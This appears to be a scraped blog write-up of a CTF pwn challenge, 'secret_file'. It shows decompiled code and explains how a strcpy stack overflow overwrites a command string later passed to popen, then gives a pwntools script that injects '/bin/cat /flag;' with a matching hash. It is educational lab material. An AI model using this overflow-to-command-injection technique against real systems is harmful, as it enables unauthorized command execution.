当前位置:网站首页>[BMZCTF-pwn] 20-secret_ file
[BMZCTF-pwn] 20-secret_ file
2022-07-03 04:30:00 【Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi】
Problem of overflow in stack
After reading the program, it's over
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // rax
unsigned __int8 *v4; // rbp
char *v5; // rbx
__int64 v6; // rcx
char *v7; // rdi
unsigned int v8; // er12
FILE *v9; // rbp
size_t v11; // [rsp+0h] [rbp-308h] BYREF
char *lineptr; // [rsp+8h] [rbp-300h] BYREF
char dest[256]; // [rsp+10h] [rbp-2F8h] BYREF Input plaintext to be encrypted
char v14[27]; // [rsp+110h] [rbp-1F8h] BYREF Initialize the put command
char v15[65]; // [rsp+12Bh] [rbp-1DDh] BYREF Initialize the put sha256 value
_QWORD v16[4]; // [rsp+16Ch] [rbp-19Ch] BYREF
char v17[64]; // [rsp+18Ch] [rbp-17Ch] BYREF Before user input 0x100 Encrypted sha256 value
int v18; // [rsp+1CCh] [rbp-13Ch] BYREF
char s[264]; // [rsp+1D0h] [rbp-138h] BYREF
unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]
v20 = __readfsqword(0x28u);
sub_E60(dest); // md5 Values in v15
v11 = 0LL;
lineptr = 0LL;
if ( getline(&lineptr, &v11, stdin) == -1 )
return 1;
v3 = strrchr(lineptr, 10);
if ( !v3 )
return 1;
*v3 = 0;
v4 = (unsigned __int8 *)v16;
v5 = v17;
strcpy(dest, lineptr);
sub_DD0((__int64)dest, v16, 0x100u); // To the front 0x100 String encryption
do
{
v6 = *v4;
v7 = v5;
v5 += 2;
++v4;
snprintf(v7, 3uLL, "%02x", v6);
}
while ( v5 != (char *)&v18 );
v8 = strcmp(v15, v17);
if ( v8 )
{
puts("wrong password!");
return 1;
}
v9 = popen(v14, "r");
if ( !v9 )
return 1;
while ( fgets(s, 256, v9) )
printf("%s", s);
fclose(v9);
return v8;
}The program first combines a command with md5 Value in v14,v15 It's about . Then the user input value is put into desc It's about (v14 front ). Here, as long as you enter super long v14,v15 Cover can .
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
context(arch = 'amd64', log_level = 'debug') #
payload = b'A'*(256)+ b'/bin/cat /flag;'.ljust(27, b'#')+b'e075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bbb'
p.sendline(payload)
p.recv()
pause()
边栏推荐
- [set theory] binary relationship (binary relationship notation | binary relationship from a to B | number of binary relationships | example of binary relationship)
- 2022 registration of G2 utility boiler stoker examination and G2 utility boiler stoker reexamination examination
- [set theory] set identities (idempotent law | exchange law | combination law | distribution rate | De Morgan law | absorption rate | zero law | identity | exclusion law | contradiction law | complemen
- [software testing-6] & Test Management
- [set theory] binary relation (example of binary relation on a | binary relation on a)
- Xrandr modifier la résolution et le taux de rafraîchissement
- [Thesis Writing] how to write the overall design of JSP tourism network
- After reviewing MySQL for a month, I was stunned when the interviewer of Alibaba asked me
- [set theory] set concept and relationship (set family | set family examples | multiple sets)
- Why should programmers learn microservice architecture if they want to enter a large factory?
猜你喜欢

Five elements of user experience
![[fxcg] market analysis today](/img/ac/294368e3496a5b808b38833053ee81.jpg)
[fxcg] market analysis today

Which code editor is easy to use? Code editing software recommendation

JVM原理简介

Auman Galaxy new year of the tiger appreciation meeting was held in Beijing - won the double certification of "intelligent safety" and "efficient performance" of China Automotive Research Institute

有道云笔记

解决bp中文乱码

Which Bluetooth headset is good about 400? Four Bluetooth headsets with strong noise reduction are recommended

vulnhub HA: Natraj

Golang -- realize file transfer
随机推荐
会员积分商城系统的功能介绍
有道云笔记
Priv-app permission异常
Reptile exercise 03
MC Layer Target
Library management system based on SSM
Kubernetes源码分析(一)
使用BENCHMARKSQL工具对kingbaseES执行灌数据提示无法找到JDBC driver
重绘和回流
金仓数据库KingbaseES 插件kdb_database_link
拆一辆十万元的比亚迪“元”,快来看看里面的有哪些元器件。
智能合约安全审计公司选型分析和审计报告资源下载---国内篇
Reptile exercise 02
Classes in TS
[set theory] binary relationship (binary relationship notation | binary relationship from a to B | number of binary relationships | example of binary relationship)
Kingbasees plug-in KDB of Jincang database_ date_ function
Which code editor is easy to use? Code editing software recommendation
What functions need to be set after the mall system is built
Why should programmers learn microservice architecture if they want to enter a large factory?
Contents of welder (primary) examination and welder (primary) examination in 2022